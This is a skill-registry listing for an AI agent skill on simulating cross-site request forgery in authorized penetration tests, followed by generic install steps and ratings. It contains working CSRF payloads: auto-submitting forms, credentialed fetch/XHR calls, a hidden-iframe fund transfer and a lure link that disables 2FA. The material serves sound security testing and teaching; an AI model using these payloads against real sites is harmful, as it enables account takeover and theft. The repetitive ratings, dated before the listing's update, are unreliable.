performing-csrf-attack-simulation▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.
| name | performing-csrf-attack-simulation |
| description | Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - csrf - owasp - web-security - session-management - burpsuite |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Performing CSRF Attack Simulation
When to Use
- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
- When testing the effectiveness of anti-CSRF token implementations
- For validating SameSite cookie attribute enforcement across different browsers
- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
- During security audits of custom authentication and session management mechanisms
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With CSRF PoC generator functionality
- Web server: Local HTTP server for hosting CSRF PoC pages (Python
http.server) - Two browsers: One authenticated as victim, one as attacker
- Target application: Authenticated session with valid test credentials
- HTML/JavaScript knowledge: For crafting custom CSRF payloads
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify State-Changing Requests
Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.
# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)
# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded
[email protected]
# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation
Step 2: Analyze Anti-CSRF Token Implementation
Test the strength and enforcement of any CSRF protections present.
# Check if CSRF token is present
curl -s -b "session=abc123" \
"https://target.example.com/account/settings" | \
grep -i "csrf\|token\|_token"
# Test 1: Remove the CSRF token entirely
curl -s -X POST \
-b "session=abc123" \
-d "[email protected]" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 2: Send empty CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "[email protected]&csrf_token=" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "[email protected]&csrf_token=AAAAAAAAAA" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
-b "session=abc123" \
-d "[email protected]&csrf_token=previously_captured_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
-b "session=user_a_session" \
-d "[email protected]&csrf_token=user_b_csrf_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
Step 3: Check SameSite Cookie and Header Protections
Verify browser-level and header-based CSRF defenses.
# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None
# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)
# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: " \
-d "[email protected]&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with evil Referer
curl -s -X POST \
-b "session=abc123" \
-H "Referer: https://evil.example.com/attack" \
-d "[email protected]&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# Send request with spoofed Origin
curl -s -X POST \
-b "session=abc123" \
-H "Origin: https://evil.example.com" \
-d "[email protected]" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
Step 4: Generate CSRF Proof-of-Concept with Burp Suite
Use Burp's built-in CSRF PoC generator for rapid testing.
# In Burp Suite:
# 1. Right-click the target request in Proxy > HTTP History
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to validate the PoC
# Burp generates HTML like:
<!-- Auto-submitting CSRF PoC for form-encoded POST -->
<html>
<body>
<h1>Loading...</h1>
<form action="https://target.example.com/api/account/change-email"
method="POST" id="csrf-form">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Step 5: Craft Advanced CSRF Payloads
For JSON APIs and other non-standard content types, use advanced techniques.
<!-- CSRF for JSON API using form with enctype -->
<html>
<body>
<form action="https://target.example.com/api/account/change-email"
method="POST"
enctype="text/plain"
id="csrf-form">
<input type="hidden"
name='{"email":"[email protected]","ignore":"'
value='"}' />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
<!-- CSRF via XMLHttpRequest (requires permissive CORS) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "[email protected]"}));
</script>
<!-- CSRF via fetch API -->
<script>
fetch("https://target.example.com/api/account/change-email", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "[email protected]"
});
</script>
<!-- CSRF via image tag (GET-based state change) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
style="display:none" />
<!-- Multi-step CSRF with iframe -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="to_account" value="attacker-account" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
Step 6: Test and Validate the CSRF Attack
Host the PoC and confirm successful exploitation.
# Start a local web server to host the CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888
# PoC file structure:
# /tmp/csrf-poc/
# index.html <- CSRF PoC page
# change-email.html <- Email change CSRF
# transfer.html <- Fund transfer CSRF
# Testing steps:
# 1. Log in to target as victim user in Browser A
# 2. Open http://localhost:8888/change-email.html in Browser A
# 3. Check if the email was changed without victim's consent
# 4. Verify the state change in the application
# For SameSite=Lax bypass via top-level navigation:
# Use GET-based CSRF with window.open or anchor tag
<!-- SameSite=Lax bypass using top-level navigation -->
<html>
<body>
<a href="https://target.example.com/api/settings?action=disable_2fa"
id="csrf-link">Click here for a prize!</a>
<script>
// Automatic click via social engineering context
// SameSite=Lax allows cookies on top-level GET navigations
</script>
</body>
</html>
Key Concepts
| Concept | Description |
|---|---|
| CSRF | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |
| Anti-CSRF Token | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |
| SameSite Cookie | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |
| Origin Header | HTTP header indicating the origin of the request, used for CSRF validation |
| Referer Header | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |
| Double Submit Cookie | CSRF defense that compares a cookie value with a request parameter value |
| Synchronizer Token Pattern | Server generates and validates a unique token per session or per request |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | CSRF PoC generator and request analysis |
| OWASP ZAP | Anti-CSRF token detection and CSRF testing |
| XSRFProbe | Automated CSRF vulnerability scanner (pip install xsrfprobe) |
| Python http.server | Local web server for hosting CSRF PoC pages |
| Browser DevTools | Inspecting cookies, SameSite attributes, and network requests |
| CSRFTester (OWASP) | Legacy tool for crafting and testing CSRF attacks |
Common Scenarios
Scenario 1: Email Change Without CSRF Token
The email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.
Scenario 2: Fund Transfer with Token Bypass
The banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the csrf_token field from the transfer form allows cross-site fund transfer.
Scenario 3: JSON API CSRF via Content-Type Manipulation
A JSON API endpoint does not require a custom header. Using enctype="text/plain" in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.
Scenario 4: SameSite=Lax Bypass on GET State Change
A settings page changes state via GET request (/settings?disable_2fa=true). Since SameSite=Lax allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.
Output Format
## CSRF Vulnerability Finding
**Vulnerability**: Cross-Site Request Forgery (Email Change)
**Severity**: High (CVSS 8.0)
**Location**: POST /api/account/change-email
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Authenticate as victim at https://target.example.com
2. Host the following HTML on an attacker-controlled server
3. Trick victim into visiting the attacker page while authenticated
4. The victim's email is changed to [email protected] without consent
### Anti-CSRF Defenses Tested
| Defense | Present | Enforced |
|---------|---------|----------|
| CSRF Token | No | N/A |
| SameSite Cookie | Lax | Partial (GET bypass) |
| Origin Validation | No | N/A |
| Referer Validation | No | N/A |
| Custom Header Required | No | N/A |
### Impact
- Account takeover via email change + password reset chain
- Unauthorized fund transfers
- Settings modification (2FA disable, notification change)
### Recommendation
1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
2. Set SameSite=Strict on session cookies where possible
3. Validate Origin and Referer headers as defense-in-depth
4. Require re-authentication for sensitive operations (password change, fund transfer)
5. Use custom request headers (X-Requested-With) for AJAX endpoints
How to use performing-csrf-attack-simulation on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add performing-csrf-attack-simulation
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches performing-csrf-attack-simulation from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate performing-csrf-attack-simulation. Access the skill through slash commands (e.g., /performing-csrf-attack-simulation) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★69 reviews- ★★★★★Isabella Wang· Dec 24, 2024
Useful defaults in performing-csrf-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Chinedu Khan· Dec 24, 2024
Solid pick for teams standardizing on skills: performing-csrf-attack-simulation is focused, and the summary matches what you get after install.
- ★★★★★Pratham Ware· Dec 20, 2024
I recommend performing-csrf-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Benjamin Jackson· Dec 20, 2024
performing-csrf-attack-simulation fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Evelyn Flores· Dec 16, 2024
performing-csrf-attack-simulation is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Layla Verma· Nov 19, 2024
Registry listing for performing-csrf-attack-simulation matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Isabella Thompson· Nov 15, 2024
I recommend performing-csrf-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Sakshi Patil· Nov 11, 2024
Useful defaults in performing-csrf-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Benjamin Shah· Nov 11, 2024
We added performing-csrf-attack-simulation from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Yuki Ramirez· Nov 7, 2024
Solid pick for teams standardizing on skills: performing-csrf-attack-simulation is focused, and the summary matches what you get after install.
showing 1-10 of 69